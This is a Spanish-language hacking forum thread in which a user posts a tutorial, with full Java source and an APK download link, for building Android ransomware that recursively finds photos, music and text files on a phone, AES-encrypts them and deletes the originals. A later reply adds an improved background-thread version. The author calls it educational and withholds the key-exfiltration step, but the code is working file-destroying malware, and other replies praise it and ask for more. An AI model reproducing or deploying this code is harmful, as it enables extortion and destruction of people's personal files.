Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Creando un Ransomware para Android desde 0!

  • 14 Respuestas
  • 10052 Vistas

Lacanbit y 1 Visitante están viendo este tema.

Desconectado user_en1gm4

  • *
  • Underc0der
  • Mensajes: 53
  • Actividad:
    0%
  • Reputación 2
  • 01 01
    • Ver Perfil
    • Email
« en: Julio 21, 2017, 06:50:46 am »
Hola compañer@s!

Quiero compartirles algo en lo que eh estado trabajando, este año se hablo mucho de los famosos rasonware, del ciber ataque mundial que sufrieron muchas empresas y demas, ps bueno, primero entendamos que es un rasonware y como opera.

Segun wikipedia:

Citar
Un ransomware (del inglés ransom, ‘rescate’, y ware, por software) es un tipo de programa informático malintencionado que restringe el acceso a determinadas partes o archivos del sistema infectado, y pide un rescate a cambio de quitar esta restricción.1​ Algunos tipos de ransomware cifran los archivos del sistema operativo inutilizando el dispositivo y coaccionando al usuario a pagar el rescate.

En este tutorial les enseñare como crear un simple rasonware utilizando el algotirmo de encriptacion AES de 256 bytes, nos permitira encriptar archivos de texto, imagenes y musica.
Bueno y ps como me gusta todo este mundo quise hacerme el mio, pero no para hacer daño, quise hacerme el mio para demostrar de lo que podemos ser victimas o que tambien nos puede servir de ayuda(despues les explicare esta parte)

Antes que nada quiero decirles que este tutorial va dirigido a personas con conocimientos basicos en java y Android.

Comenzamos, primero abrimos Android Studio y creamos un nuevo proyecto, creamos un EmptyActivity con su respectiva clase, algo asi debe quedar:



Primero organizare la parte visual, voy a crear un EditText y dos Botones, uno para encriptar y otro para desencriptar, algo asi quedaria:

Código: Java
  1. <TextView
  2.             android:id="@+id/textView4"
  3.             android:layout_width="match_parent"
  4.             android:layout_height="wrap_content"
  5.             android:layout_gravity="center_vertical|center_horizontal|center"
  6.             android:fontFamily="monospace"
  7.             android:text="Contraseña"
  8.             android:textSize="18sp" />
  9.  
  10.         <EditText
  11.             android:id="@+id/clavesita"
  12.             android:layout_width="match_parent"
  13.             android:layout_height="wrap_content"
  14.             android:ems="10"
  15.             android:inputType="textPassword" />
  16.  
  17.         <Button
  18.             android:id="@+id/boton1"
  19.             android:layout_width="match_parent"
  20.             android:layout_height="wrap_content"
  21.             android:text="Encriptar" />
  22.  
  23.         <Button
  24.             android:id="@+id/boton2"
  25.             android:layout_width="match_parent"
  26.             android:layout_height="wrap_content"
  27.             android:text="Desencriptar" />


algo asi se veria:



Listo y aca empezamos con lo interesante, el codigo!
presten atencion a cada detalle que nombro, muchas 'cositas' me quitaron horas y horas, asi que cuidado

Primero hay que pedir permisos, ya que tengo un celular con Marshmallow (6), tengo que pedir los permisos tanto en el Manifest como en tiempo de ejecucion, nos vamos a la carpeta manifest, doble click al archivo AndroidManifest.xml y colocamos esto:


Código: Java
  1. <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
  2. <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>


ahora vamos a la clase que creamos junto con el EmptyActivity, la mia se llama MainActivity, pedire los permisos en ejecucion:


Código: Java
  1. //Verificamos si ya tiene permisos
  2.  
  3.   if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
  4.                 && ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) {
  5.  
  6.   Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();
  7.  
  8. //Ya tenemos los permisos necesarios
  9. //Podemos proceder a trabajar con la memoria de el celular
  10.  
  11. } else{
  12.  
  13. //Si no tenemos permisos, creare una funcion para pedirlos
  14.  
  15. PedirPermisos();
  16.  
  17. }


fuera del metodo OnCreate, definimos la funcion:

Código: Java
  1. public void PedirPermisos() {
  2.  
  3.         if (ActivityCompat.shouldShowRequestPermissionRationale(this, Manifest.permission.READ_EXTERNAL_STORAGE)) {
  4.  
  5.             Toast.makeText(this, "Se necesitan permisos", Toast.LENGTH_SHORT).show();
  6.         }
  7.         ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE},
  8.                 MY_PERMISSIONS_REQUEST);
  9.  
  10.  
  11.     }


Para saber la respuesta de el usuario vamos a crear nuestra propia version de la funcion onRequestPermissionsResult que es la que nos dice si el usuario nos dio los permisos o no


 
Código: Java
  1. @Override
  2.     public void onRequestPermissionsResult(int requestCode,
  3.                                            String permissions[], int[] grantResults) {
  4.         if (requestCode == MY_PERMISSIONS_REQUEST) {
  5.             // If request is cancelled, the result arrays are empty.
  6.             if (grantResults.length > 0
  7.                     && grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) {
  8.  
  9.  
  10.                 Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();
  11.  
  12.  
  13.             } else {
  14.                 Toast.makeText(this, "SIN PERMISOS NO SE PUEDE EJECUTAR LA APP", Toast.LENGTH_SHORT).show();
  15.  
  16.             }
  17.             return;
  18.         }
  19.  
  20.  
  21.     }


Algo asi les debe estar quedando



Luego voy a crear mi funcion de encriptar(), la cual necesita una clave de parametro, es la clave con la que vamos a cifrar los archivos, tiene que ser una clave de 16 bytes de tamaño, obligatoriamente!, yo utilizare esta = tr3D0ctaOlajESzU y una direccion, esta es la ubicacion de el archivo

Código: Java
  1. public void encriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {
  2.  
  3.         //Archivo de entrada(sin encriptar)
  4.  
  5.         File extStore = Environment.getExternalStorageDirectory();
  6.         FileInputStream Entrada = new FileInputStream("/" + direccion);
  7.        
  8.        //Archivo de salida(encriptado) su nombre cambia quedaria guardado algo asi = encript_foto.jpg
  9.  
  10.         FileOutputStream Salida = new FileOutputStream(extStore + "/encript_" + nombre);
  11.  
  12.         // Tamaño de la key 16 bytes!
  13.         SecretKeySpec sks = new SecretKeySpec(clave.getBytes(), "AES");
  14.      
  15.    // Se crea el Cipher, el encargado de cifrar los streams
  16.  
  17.         Cipher cipher = Cipher.getInstance("AES");
  18.         cipher.init(Cipher.ENCRYPT_MODE, sks);
  19.  
  20.         // stream de salida, archivo de salida
  21.         CipherOutputStream cos = new CipherOutputStream(Salida, cipher);
  22.        
  23.  // Escribe bytes
  24.         int b;
  25.         byte[] d = new byte[8];
  26.         while ((b = Entrada.read(d)) != -1) {
  27.             cos.write(d, 0, b);
  28.         }
  29.        
  30.       //Cierra los stream
  31.         cos.flush();
  32.         cos.close();
  33.         Entrada.close();
  34.  
  35.         //Borra el archivo original
  36.         File tmp = new File("/" + direccion);
  37.         tmp.delete();
  38.  
  39.     }


y nuestra funcion desencriptar() , no la comentare porque hace casi lo mismo que la anterior

Código: Java
  1. public static void desencriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {
  2.  
  3.         File extStore = Environment.getExternalStorageDirectory();
  4.         FileInputStream Entrada = new FileInputStream("/" + direccion);
  5.  
  6.         FileOutputStream Salida = new FileOutputStream(extStore + "/decrypt_" + nombre);
  7.         SecretKeySpec sks = new SecretKeySpec(clave.getBytes(),
  8.                 "AES");
  9.         Cipher cipher = Cipher.getInstance("AES");
  10.         cipher.init(Cipher.DECRYPT_MODE, sks);
  11.         CipherInputStream cis = new CipherInputStream(Entrada, cipher);
  12.         int b;
  13.         byte[] d = new byte[8];
  14.         while ((b = cis.read(d)) != -1) {
  15.             Salida.write(d, 0, b);
  16.         }
  17.         Salida.flush();
  18.         Salida.close();
  19.         cis.close();
  20.  
  21.         //Borra el archivo encriptado
  22.         File tmp = new File("/" + direccion);
  23.         tmp.delete();
  24.  
  25.     }


Listo ya tenemos nuestras funciones encargadas de cifrar los archivos, ahora necesitamos una funcion que valla por todas las carpetas del sistema buscando los archivos a encriptar, quedaria algo asi:

Código: Java
  1. public static ArrayList<File> EncontrarArchivos(File root) {
  2.         ArrayList<File> Archivos = new ArrayList<File>();
  3.         File[] _archivos = root.listFiles();
  4.         if (_archivos != null) {
  5.             for (File lista : _archivos) {
  6.                 if (lista.isDirectory() && !lista.isHidden()) {
  7.  
  8.                     Archivos.addAll(EncontrarArchivos(lista));
  9.                 } else {
  10.  
  11.                      //Solo permitimos archivos que terminen en . txt .jpg .jpeg y .mp3
  12.  
  13.                     if (lista.getName().endsWith(".txt") || lista.getName().endsWith(".jpg") || lista.getName().endsWith(".jpeg") ||
  14.                   lista.getName().endsWith(".png") || lista.getName().endsWith(".mp3")) {
  15.                         if (lista.getTotalSpace() > 3) {
  16.  
  17.                         //Si termina en lo que queremos y pesa mas de 3 kb lo agregamos a la lista
  18.  
  19.                             Archivos.add(lista);
  20.                         }
  21.                     }
  22.                 }
  23.             }
  24.         }
  25.         return Archivos;
  26.     }


Bueno basicamente ya tenemos nuestras principales funciones ya listas, ahora programaremos que al hacer click sobre el boton encriptar, ejecute nuestra funcion encriptar con los archivos que encontro en el sistema

Como ya lo habia dicho antes, despues de que comprobamos los permisos esque podemos realizar las tareas, vamos a utilizar el codigo anterior donde verificamos los permisos y habilitamos un OnClickListener para cada boton que creamos, asi este al ser oprimido ejecutara lo que le digamos, quedaria algo asi:

Código: Java
  1.     //PIDE Y COMPRUEBA PERMISOS EN EJECUCION
  2.  
  3.         if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
  4.                 && ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) {
  5.  
  6.             //Referencia botones y demas
  7.             final Button BotonEncriptar = (Button) findViewById(R.id.boton1);
  8.             final Button BotonDesencriptar = (Button) findViewById(R.id.boton2);
  9.             final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);
  10.  
  11.  
  12.             Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();
  13.  
  14.             BotonDesencriptar.setOnClickListener(new View.OnClickListener() {
  15.                 [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
  16.                 public void onClick(View view) {
  17.  
  18.  
  19.                     try {
  20.  
  21.                               //Lista de archivos encontrados en el sistema
  22.  
  23.                         final ArrayList<File> Archivos = EncontrarArchivos(Environment.getExternalStorageDirectory());
  24.  
  25.                         for (int i = 0; i < Archivos.size(); i++) {
  26.  
  27.                              //los mandamos a desenciptar 1 x 1, pasandole el nombre del archivo y su ubicacion, pero primero
  28.                              // revisamos si esta encriptado, (que en su nombre tenga la palabra "encript_"
  29.  
  30.                              int comprobacion = Archivos.get(i).getName().indexOf("encript_");
  31.                             if (comprobacion != -1) {
  32.  
  33.                                 desencriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());
  34.  
  35.                             }
  36.                             }
  37.  
  38.                         }
  39.  
  40.                               //Excepciones necesarias para la funcion de encriptar
  41.  
  42.                     } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {
  43.                         k.printStackTrace();
  44.                     }
  45.                 }
  46.             });
  47.  
  48.  
  49.             BotonEncriptar.setOnClickListener(new View.OnClickListener() {
  50.                 [b]@[url=https://underc0de.org/foro/index.php?action=profile;u=8340]Override[/url][/b]
  51.                 public void onClick(View view) {
  52.  
  53.  
  54.                     try {
  55.  
  56.  
  57.                         final ArrayList<File> Archivos = EncontrarArchivos(Environment.getExternalStorageDirectory());
  58.  
  59.                         for (int i = 0; i < Archivos.size(); i++) {
  60.                          
  61.      //los mandamos a encriptar 1 x 1, pasandole el nombre del archivo y su ubicacion
  62.  
  63.                             encriptar(clave, Archivos.get(i).getPath(), Archivos.get(i).getName());
  64.  
  65.                        
  66.  
  67.  
  68.                     } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {
  69.  
  70.                         k.printStackTrace();
  71.  
  72.                     }
  73.  
  74.                 }
  75.             });
  76.  
  77.         } else {
  78.  
  79.             PedirPermisos();
  80.         }
  81.  
  82.     }

Asi nos aseguramos a que sin los permisos necesarios nunca intentara encriptar los archivos y que nos genere errores, listo nuestro rasonware ya esta casi terminado, solo tenemos que leer la clave que nos ingresen para desencriptar o encriptar, con el EditText se la pedimos al usuario y la leemos:

Código: Java
  1. //Referenciamos nuestro objetos en pantalla
  2.  
  3.  final Button BotonEncriptar = (Button) findViewById(R.id.boton1);
  4.             final Button BotonDesencriptar = (Button) findViewById(R.id.boton2);
  5.             final EditText EntradaClave = (EditText) findViewById(R.id.clavesita);


y luego la leemos:

Código: Java
  1. String clave = EntradaClave.getText().toString();

esto va dentro de el OnClickListener de el boton encriptar para que al momento de que lo presionen la lea y haga sus respectivas tareas, Listo muchachos! asi se hace un rasonware para android.

Ahora construyamos nuestra apk y vamos a instalarla en nuestro movil, aca unas fotos de su funcionamiento, voy a crear una carpeta llamada docs y dentro de ella guardare una archivo de texto, una cancion y una imagen:



Ahora ire a la aplicacion y le dare sobre el boton encriptar, veamos que pasa:

se han encriptado los archivos de mi memoria, al tratar de abrir la imagen no me deja:



Ahora volvere a la aplicacion y le dare en desenciptar:


Mis archivos vuelven a la normalidad, puedo ver mi imagen, fijensen en los nombres, quiere decir que paso por todos nuestros procesos

Ahora podemos crear otra funcion que al terminar de encriptar los archivos no envie la clave y el id del celular a nuestro servidor para que quede alli guardada, no quise meter eso en el tutorial ya que pienso que quizas lo utilizen para mal, de ese modo podrian pedir dinero para darles las clave y .....
Pero aca otra parte, porque no utilizamos esto de una buena forma? si encriptamos nuestros archivos con una clave que solo nosotros sepamos y los desencriptamos solo cuando los necesitemos? no puedo decir que tendrias 100% de privacidad pero si le dificultaria el trabajo a cualquier cracker que quiera robarle su informacion.

cuidado con esto, no es algo para jugar y si van a hacer pruebas haganlo en ambientes controlados, mientras hacia esto me toco formatear mi celular ya que todos mis archivos quedaron encriptados xd, asi que cuidado, los archivos que lee son de la memoria interna del telefono, no se porque pasa esto pero solo me reconoce los de la memoria interna, tambien cuando le opriman sobre encriptar, desencriptar esperar unos segundos hasta que el celular este normal, si minimizamos la aplicacion o la cerramos de una podria generar errores

Les dejare la aplicacion y el codigo, espero les halla gustado, yo aprendi bastante haciendolo espero ustedes tambien
Aca el codigo y la app lista para que la prueben

https://mega.nz/#F!p6JACbII!IB2NEnk01qmL_Fva6-W-WA

No se preocupen si descargnn la app a su celular, no hara nada hasta que no opriman los botones encriptar y luego con el de desencriptar todo volvera a la normalidad, es mas bien como educativo, no corran.

Ayer murio el vocalista de Linkin Park, Chester Bennington, sus canciones me acompañaron mientras programaba y en mi dia a dia, quise hacer este tutorial en homenaje a  él, Grande Chester Bennington!!, tus fans nunca te olvidaremos.




(perdon por la ortografia no soy muy bueno con las palabras)

Un saludo y gusto en compartir!
« Última modificación: Julio 30, 2017, 04:27:29 pm por blackdrake »

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5478
  • Actividad:
    8.33%
  • Reputación 35
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #1 en: Julio 21, 2017, 08:35:59 am »
Hola!

Esta increible tu aporte! No había visto jamás un ransonware para Android. De hecho, jamás se me pasó por la cabeza hacer uno.
Mil gracias por compartirlo. Te he dejado +Karma!

Saludos,
ANTRAX


Desconectado ZanGetsu

  • *
  • Underc0der
  • Mensajes: 325
  • Actividad:
    0%
  • Reputación 0
  • I ZanGetsu
    • Ver Perfil
  • Skype: thenicox
  • Twitter: black_zangetsu
« Respuesta #2 en: Julio 21, 2017, 09:23:43 am »
Buenísimo el aporte, debería postularse para estar en el Blog  :)

Desconectado user_en1gm4

  • *
  • Underc0der
  • Mensajes: 53
  • Actividad:
    0%
  • Reputación 2
  • 01 01
    • Ver Perfil
    • Email
« Respuesta #3 en: Julio 21, 2017, 12:30:50 pm »
Hola!

Esta increible tu aporte! No había visto jamás un ransonware para Android. De hecho, jamás se me pasó por la cabeza hacer uno.
Mil gracias por compartirlo. Te he dejado +Karma!

Saludos,
ANTRAX

Habia leido algo sobre que wannacry habia llegado a android pero nunca supe si era verdad, quizas sea uno de los primeros programado en este lado de el planeta jaja, un gusto compartir, el conocimiento es libre.
« Última modificación: Julio 21, 2017, 12:50:48 pm por user_en1gm4 »

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5478
  • Actividad:
    8.33%
  • Reputación 35
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #4 en: Julio 21, 2017, 03:05:46 pm »
Hola!

Esta increible tu aporte! No había visto jamás un ransonware para Android. De hecho, jamás se me pasó por la cabeza hacer uno.
Mil gracias por compartirlo. Te he dejado +Karma!

Saludos,
ANTRAX

Habia leido algo sobre que wannacry habia llegado a android pero nunca supe si era verdad, quizas sea uno de los primeros programado en este lado de el planeta jaja, un gusto compartir, el conocimiento es libre.

Tu post fue llevado al blog con tus créditos: https://blog.underc0de.org/creando-ransomware-para-android/
Siempre llevamos al blog los posts más destacados de los users de underc0de.
Además de eso, ya fue compartido por las redes sociales para que llegue a muchos lectores.

Felicitaciones!!!

Saludos,
ANTRAX


Desconectado k4r0nt3

  • *
  • Underc0der
  • Mensajes: 27
  • Actividad:
    0%
  • Reputación 0
  • Lo aces o no lo aces, pero no lo intentes
    • Ver Perfil
    • Email
« Respuesta #5 en: Julio 22, 2017, 07:11:55 am »
Simplemente grande! gran aporte


Desconectado sadfud

  • *
  • Moderator
  • Mensajes: 182
  • Actividad:
    1.67%
  • Reputación 9
    • Ver Perfil
    • Blog
  • Skype: SadFud
« Respuesta #6 en: Julio 23, 2017, 04:13:51 am »
Muy bueno @user_en1gm4 , gracias por compartirlo
Si necesitas ayuda, no dudes en mandar MP

Conectado NSA17

  • *
  • Underc0der
  • Mensajes: 13
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
  • Twitter: @Leon17barbosa
« Respuesta #7 en: Agosto 28, 2017, 09:15:00 am »
no podes hacer un video explicando mejor como crear ese virus confine educativo porfa

Desconectado Stiuvert

  • *
  • Underc0der
  • Mensajes: 2674
  • Actividad:
    0%
  • Reputación 15
    • Ver Perfil
  • Skype: stiuvert@gmail.com
  • Twitter: @Stiuvert
« Respuesta #8 en: Agosto 28, 2017, 04:13:06 pm »
no podes hacer un video explicando mejor como crear ese virus confine educativo porfa

El autor dice que previamente se deben tener conocimientos en Java. ¿Los tienes?

Conectado NSA17

  • *
  • Underc0der
  • Mensajes: 13
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
  • Twitter: @Leon17barbosa
« Respuesta #9 en: Enero 20, 2018, 12:07:54 am »
muy poco colega pero me podria mas omenos hacer el video si fuera genial seria mejor uno desde kali ya que la pc no me quiere ejecutar javas

Desconectado partepechos

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #10 en: Febrero 20, 2018, 03:28:57 pm »
La codificacion funciona la desencriptacion no, buen aporte igual!

Desconectado user_en1gm4

  • *
  • Underc0der
  • Mensajes: 53
  • Actividad:
    0%
  • Reputación 2
  • 01 01
    • Ver Perfil
    • Email
« Respuesta #11 en: Marzo 04, 2018, 03:03:37 pm »
La codificacion funciona la desencriptacion no, buen aporte igual!

si funciona amigo yo mismo lo probe
prodria pasar que porque la ejecucion se hace en el hilo principal y nunca se delega un hilo puede que desencripte archivos que no esten encriptados o que se tenga que esperar un poco que los busque, ya que en ese codigo carga todos los archivos en memoria, tengo uno mas optimo que eh trabajado si quieres te lo paso, un saludo

Desconectado partepechos

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #12 en: Marzo 07, 2018, 07:16:43 am »
La codificacion funciona la desencriptacion no, buen aporte igual!

si funciona amigo yo mismo lo probe
prodria pasar que porque la ejecucion se hace en el hilo principal y nunca se delega un hilo puede que desencripte archivos que no esten encriptados o que se tenga que esperar un poco que los busque, ya que en ese codigo carga todos los archivos en memoria, tengo uno mas optimo que eh trabajado si quieres te lo paso, un saludo


Buenas! pues te agradeceria mucho si me lo pudieras pasar y le hecho un ojo tio si no es mucho pedir ;)

Desconectado openZource

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #13 en: Marzo 10, 2018, 04:47:28 pm »
La codificacion funciona la desencriptacion no, buen aporte igual!

si funciona amigo yo mismo lo probe
prodria pasar que porque la ejecucion se hace en el hilo principal y nunca se delega un hilo puede que desencripte archivos que no esten encriptados o que se tenga que esperar un poco que los busque, ya que en ese codigo carga todos los archivos en memoria, tengo uno mas optimo que eh trabajado si quieres te lo paso, un saludo

Disculpa pero a mí también me genera errores al ejecutar el cifrado, sería un gran favor en pasarme el archivo.

Desconectado user_en1gm4

  • *
  • Underc0der
  • Mensajes: 53
  • Actividad:
    0%
  • Reputación 2
  • 01 01
    • Ver Perfil
    • Email
« Respuesta #14 en: Marzo 22, 2018, 01:12:17 pm »
La codificacion funciona la desencriptacion no, buen aporte igual!

si funciona amigo yo mismo lo probe
prodria pasar que porque la ejecucion se hace en el hilo principal y nunca se delega un hilo puede que desencripte archivos que no esten encriptados o que se tenga que esperar un poco que los busque, ya que en ese codigo carga todos los archivos en memoria, tengo uno mas optimo que eh trabajado si quieres te lo paso, un saludo

Disculpa pero a mí también me genera errores al ejecutar el cifrado, sería un gran favor en pasarme el archivo.


Eh diseñado esta nueva version pero utilizando Asynctask(tareas asincronas), trabaja como un hilo en background y asi mejora el proceso , ademas ya no cargo todos los archivos en memoria si no que solo tomo su ruta y con esa cargo 1 a la vez para aguilizar el proceso, aqui solo coloco las funciones necesarias para encriptar y desencriptar archivos , lo de pedir permisos y el resto esta en el tutorial.

Código: Java
  1. public static void encriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {
  2.         //Archivo de entrada
  3.         File extStore = Environment.getExternalStorageDirectory();
  4.         FileInputStream Entrada = new FileInputStream("/" + direccion+"/"+nombre);
  5.         // This stream write the encrypted text. This stream will be wrapped by
  6.         // another stream.
  7.         FileOutputStream Salida = new FileOutputStream("/" + direccion +"/encript_" + nombre);
  8.         // Length is 16 byte
  9.         SecretKeySpec sks = new SecretKeySpec(clave.getBytes(), "AES");
  10.         // Create cipher
  11.         Cipher cipher = Cipher.getInstance("AES");
  12.         cipher.init(Cipher.ENCRYPT_MODE, sks);
  13.         // Wrap the output stream
  14.         CipherOutputStream cos = new CipherOutputStream(Salida, cipher);
  15.         // Write bytes
  16.         int b;
  17.         byte[] d = new byte[8];
  18.         while ((b = Entrada.read(d)) != -1) {
  19.             cos.write(d, 0, b);
  20.         }
  21.         // Flush and close streams.
  22.         cos.flush();
  23.         cos.close();
  24.         Entrada.close();
  25.         //Borra el archivo original
  26.         File tmp = new File("/" + direccion+"/"+nombre);
  27.         tmp.delete();
  28.  
  29.     }
  30.     public static void desencriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {
  31.  
  32.         File extStore = Environment.getExternalStorageDirectory();
  33.         FileInputStream Entrada = new FileInputStream("/" + direccion+"/"+nombre);
  34.         // This stream write the encrypted text. This stream will be wrapped by
  35.         // another stream.
  36.         FileOutputStream Salida = new FileOutputStream("/" + direccion +"/decript_" + nombre);
  37.         SecretKeySpec sks = new SecretKeySpec(clave.getBytes(),
  38.                 "AES");
  39.         Cipher cipher = Cipher.getInstance("AES");
  40.         cipher.init(Cipher.DECRYPT_MODE, sks);
  41.         CipherInputStream cis = new CipherInputStream(Entrada, cipher);
  42.         int b;
  43.         byte[] d = new byte[8];
  44.         while ((b = cis.read(d)) != -1) {
  45.             Salida.write(d, 0, b);
  46.         }
  47.         Salida.flush();
  48.         Salida.close();
  49.         cis.close();
  50.  
  51.         //Borra el archivo encriptado
  52.         File tmp = new File("/" + direccion+"/"+nombre);
  53.         tmp.delete();
  54.  
  55.     }
  56.  
  57.     public  void BuscarDesencriptar(final File root) {
  58.  
  59.         File[] _archivos = root.listFiles();
  60.         if (_archivos != null) {
  61.             for (File lista : _archivos) {
  62.                 if (lista.isDirectory() && !lista.isHidden()) {
  63.  
  64.                     BuscarDesencriptar(lista);
  65.                 } else {
  66.                     if (lista.getName().endsWith(".txt")  ) {
  67.                         if (lista.getTotalSpace() > 3) {
  68.                             try {
  69.  
  70.                                 String nombre = lista.getName();
  71.                                 String rutaCompleta  = lista.getPath();
  72.                                 int index = rutaCompleta.indexOf(nombre);
  73.  
  74.                                 char [] ruta = rutaCompleta.toCharArray();
  75.                                 String directorio="";
  76.                                 for(int i=0;i<index;i++){
  77.                                     directorio+=ruta[i];
  78.  
  79.                                 }
  80.  
  81.  
  82.                                 int resultado = lista.getName().indexOf("encript_");
  83.  
  84.                                 if(resultado != -1) {
  85.                                     desencriptar(claves,directorio, lista.getName());
  86.  
  87.                                 }
  88.  
  89.                             } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {
  90.                                 k.printStackTrace();
  91.                             }
  92.                         }
  93.                     }
  94.                 }
  95.             }
  96.  
  97.         }
  98.     }
  99.  
  100.  
  101.  
  102.  
  103.  
  104.     public  void BuscarEncriptar(final File root) {
  105.  
  106.         File[] _archivos = root.listFiles();
  107.         if (_archivos != null) {
  108.             for (File lista : _archivos) {
  109.                 if (lista.isDirectory() && !lista.isHidden()) {
  110.  
  111.                     BuscarEncriptar(lista);
  112.                 } else {
  113.                     if (lista.getName().endsWith(".txt") ) {
  114.                         if (lista.getTotalSpace() > 3) {
  115.                             try {
  116.  
  117.                                 String nombre = lista.getName();
  118.                                 String rutaCompleta  = lista.getPath();
  119.                                 int index = rutaCompleta.indexOf(nombre);
  120.  
  121.                                 char [] ruta = rutaCompleta.toCharArray();
  122.                                 String directorio="";
  123.                                 for(int i=0;i<index;i++){
  124.                                     directorio+=ruta[i];
  125.  
  126.                                 }
  127.                                 int resultado = lista.getName().indexOf("encript_");
  128.  
  129.                                 if(resultado == -1) {
  130.                                     encriptar(claves, directorio, lista.getName());
  131.  
  132.                                 }
  133.                             } catch (IOException | NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException k) {
  134.                                 k.printStackTrace();
  135.                             }
  136.                         }
  137.                     }
  138.                 }
  139.             }
  140.         }
  141.  
  142.  
  143.  
  144.     }
  145.  
  146.  
  147.  
  148.  
  149.  
  150.     public class AsyncTask_Encriptar extends AsyncTask<Void, Integer, Void> {
  151.         int progreso=0;
  152.         @Override
  153.         protected void onPreExecute() {
  154.             desencriptari.setClickable(false);
  155.             encriptar.setClickable(false);
  156.  
  157.             SystemClock.sleep(100);
  158.  
  159.  
  160.  
  161.  
  162.         }
  163.  
  164.         @Override
  165.         protected Void doInBackground(Void... params) {
  166.  
  167.             BuscarEncriptar(Environment.getExternalStorageDirectory());
  168.             return null;
  169.         }
  170.  
  171.  
  172.         @Override
  173.         protected void onProgressUpdate(Integer... values) {
  174.          
  175.         }
  176.  
  177.         @Override
  178.         protected void onPostExecute(Void result) {
  179.  
  180.             Snackbar.make(view, "Archivos Encriptados", Snackbar.LENGTH_LONG)
  181.                     .setAction("Exito", null).show();
  182.  
  183.             desencriptari.setClickable(true);
  184.             encriptar.setClickable(true);
  185.  
  186.         }
  187.  
  188.  
  189.     }
  190.  
  191.  
  192.     public class AsyncTask_Desencriptar extends AsyncTask<Void, Integer, Void> {
  193.         int progreso=0;
  194.         @Override
  195.         protected void onPreExecute() {
  196.             desencriptari.setClickable(false);
  197.             encriptar.setClickable(false);
  198.            
  199.             SystemClock.sleep(100);
  200.  
  201.  
  202.  
  203.         }
  204.  
  205.         @Override
  206.         protected Void doInBackground(Void... params) {
  207.  
  208.             BuscarDesencriptar(Environment.getExternalStorageDirectory());
  209.             return null;
  210.         }
  211.  
  212.  
  213.         @Override
  214.         protected void onProgressUpdate(Integer... values) {
  215.  
  216.          
  217.         }
  218.  
  219.         @Override
  220.         protected void onPostExecute(Void result) {
  221.  
  222.             Snackbar.make(view, "Archivos Desencriptados", Snackbar.LENGTH_LONG)
  223.                     .setAction("Exito", null).show();
  224.             desencriptari.setClickable(true);
  225.             encriptar.setClickable(true);
  226.  
  227.         }
  228.  
  229.  
  230.     }
  231.  
  232.  
  233.  
  234.  
  235.    
  236.  


Tengo una variable global que es la clave la puedo dejar constante como en mi caso o pedirla cada vez que opriman el boton encriptar/desencriptar:

para encriptar solo cree el onclicklistener de su boton y ponga dentro:

Código: Java
  1.    
  2. String clave=""; //es una variable global
  3. clave = "SU CLAVE";//obligatoria de 16 bytes      
  4. new AsyncTask_Encriptar().execute();
  5.  


y para desencriptar:

Código: Java
  1.    
  2. String clave=""; //es una variable global
  3. clave = "SU CLAVE";//obligatoria de 16 bytes
  4. new AsyncTask_Desencriptar().execute();
  5.  




« Última modificación: Marzo 22, 2018, 01:19:43 pm por user_en1gm4 »

 

¿Te gustó el post? COMPARTILO!



Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección.

Iniciado por d0r127

Respuestas: 2
Vistas: 3232
Último mensaje Noviembre 21, 2016, 06:15:12 pm
por d0r127
theZoo - Repositorio de malware para análisis e investigación

Iniciado por ANTRAX

Respuestas: 5
Vistas: 4640
Último mensaje Febrero 19, 2018, 08:34:57 pm
por Lautaro Villarreal Culic'
Faking network para Análisis Dinámico de Malware.

Iniciado por cnfs

Respuestas: 3
Vistas: 3147
Último mensaje Enero 30, 2015, 02:32:23 pm
por cnfs
Otra modalidad malware para conocer de PowerPoint

Iniciado por xhc1

